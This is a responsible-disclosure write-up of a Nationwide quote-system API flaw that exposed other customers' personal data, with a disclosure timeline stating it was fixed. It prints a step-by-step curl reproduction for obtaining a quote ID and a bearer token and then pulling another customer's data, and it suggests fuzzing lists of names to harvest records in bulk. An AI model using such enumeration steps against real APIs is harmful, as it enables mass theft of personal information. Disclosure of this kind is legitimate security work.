Nationwide Quote System Revealed PII Information of Customers
On May 7th 2023, I worked with a close friend to responsibly disclose a bug in Nationwide’s quoting system that revealed PII data of arbitrary customers. The bug was initially witnessed within Nationwide’s quote estimator web page, as anyone signing up for a quote would notice that Nationwide was displaying information to them that was from a different customer.
We understood this vulnerability to reveal the following PII information of arbitrary customers:
- First name
- Middle name
- Last name
- State of residence
- Gender
- Marital status
- Last 4 digits of driver’s license number
- Year of birth
- Full phone number
This bug appeared to be within a prefill API. The prefill API is intended to prevent customers from repeatedly inputting their information into forms on the web page by autopopulating those forms. This bug unfortunately did not prefill the appropriate information of the requesting customer, instead returning prefill information that did not match the current customer. The prefill API looked to be matching the submitting user with a different user who had a middle and last name that matched the submitter’s first and last names. We cannot confirm the exactness of the bug’s functionality.
Upon digging deeper, it became apparent that not only was this customer PII information displayed in the browser, but a clever attacker could programmatically abuse this bug to quickly iterate and steal data from many different customers.
An attack could be recreated in the following steps:
# Get a quote ID
FIRST_NAME="John"
LAST_NAME="Doe"
QUOTE_ID=$(curl 'https://api.nationwide.com/customer-acquisition/auto-sales-quoting/v3/quotes' \
-H 'authority: api.nationwide.com' \
-H 'accept: application/json' \
-H 'application-name: Multiproduct Quote and Bind' \
-H 'client_id: $CLIENT_ID' \
-H 'content-type: application/json' \
-H 'origin: https://multiproduct.nationwide.com' \
-H 'referer: https://multiproduct.nationwide.com/' \
-H 'x-nw-message-id: $MESSAGE_ID' \
--data-raw "{ $LOTS_OF_RAW_DATA }" \
--compressed | jq '.quoteId | tonumber')
A numeric string would be retrieved representing a quote ID.
Using the quote ID, zip code, and last name from the quote, you can get a bearer token as follows:
ACCESS_TOKEN=$(curl "https://api.nationwide.com/security-processing/enterprise-user-auth/v2/authorize?client_id=$CLIENT_ID&nonce=myNonce&redirect_uri=https://multiproduct.nationwide.com/&response_type=id_token%20token&scope=test%20pci&state=eua-redirect&realm=unidentified&auth_method=personal-lines-sales&auth_id_quoteId=$QUOTE_ID&auth_id_postalCode=$POSTAL_CODE&auth_id_lastName=$LAST_NAME" \
-w "%{redirect_url}" -o /dev/null \
-H 'authority: api.nationwide.com' \
-H 'referer: https://multiproduct.nationwide.com/' \
--compressed | grep -o 'access_token=[^&]*' | sed 's/access_token=//')
An access token was then retrieved, which could then be used to retrieve quote information.
Finally customer PII data that was not the requester’s could be retrieved after the following request:
FIRST_NAME="John"
LAST_NAME="Doe"
curl 'https://api.nationwide.com/customer-acquisition/driver-vehicle-prefill/v1/customers-info' \
-H 'authority: api.nationwide.com' \
-H 'accept: application/json, text/plain, */*' \
-H "authorization: Bearer $ACCESS_TOKEN" \
-H 'client_id: $CLIENT_ID' \
-H 'content-type: application/json' \
-H 'dnt: 1' \
-H 'origin: https://multiproduct.nationwide.com' \
-H 'referer: https://multiproduct.nationwide.com/' \
-H 'x-nw-message-id: $MESSAGE_ID' \
--data-raw "{\"agreementID\":\"$QUOTE_ID\",\"businessChannel\":\"Internet\",\"person\":{\"firstName\":\"$FIRST_NAME\",\"lastName\":\"$LAST_NAME\",\"dateOfBirth\":\"1990-01-01\",\"middleName\":null},\"address\":{\"city\":\"$CITY\",\"state\":\"$STATE\",\"streetName\":\"123 City Street\",\"zipCode\":\"$ZIP_CODE\"}}" \
--compressed | jq
# SAMPLE RESPONSE
# {
# "firstName": "",
# "middleName": "",
# "lastName": "",
# ...
# }
An attacker could string together these commands along with a list of names to fuzz and retrieve customer PII information.
Takeaways for security teams:
Nationwide has a public Vulnerability Reporting Program but not a Bug Bounty program. A bounty was not rewarded for this disclosure. While we continue to advocate for all organizations to sway would-be bad actors into doing the right thing by incentivizing disclosures with rewards, we acknowledge that for some organizations this is not always possible. A publicly accessible Vulnerability Reporting Program will still offer a clear channel for ethical hackers to share their findings. All organizations should have a program to allow for the responsible disclosure of vulnerabilities.
Too often security engineering finds themselves in an ivory tower of tool observability. Security engineers need to be just as involved with product functionality as application teams.
Acknowledgements:
The Nationwide security team was professional and welcoming during the disclosure process. We are thankful for their commitment to customer safety.
Timeline:
- May 7th 2023: Initial bug discovered when gathering quotes on insurance rates
- May 7th 2023: Vulnerability submitted to Nationwide’s Vulnerability Disclosure Program
- May 8th 2023: Nationwide acknowledges the report and commits to reviewing the submission within 72 hours
- May 10th 2023: Nationwide temporarily disables the API to correct the vulnerability and acknowledges the security research team’s submission. The research team confirms details for the Nationwide team.
- August 28 2023: Initial blog published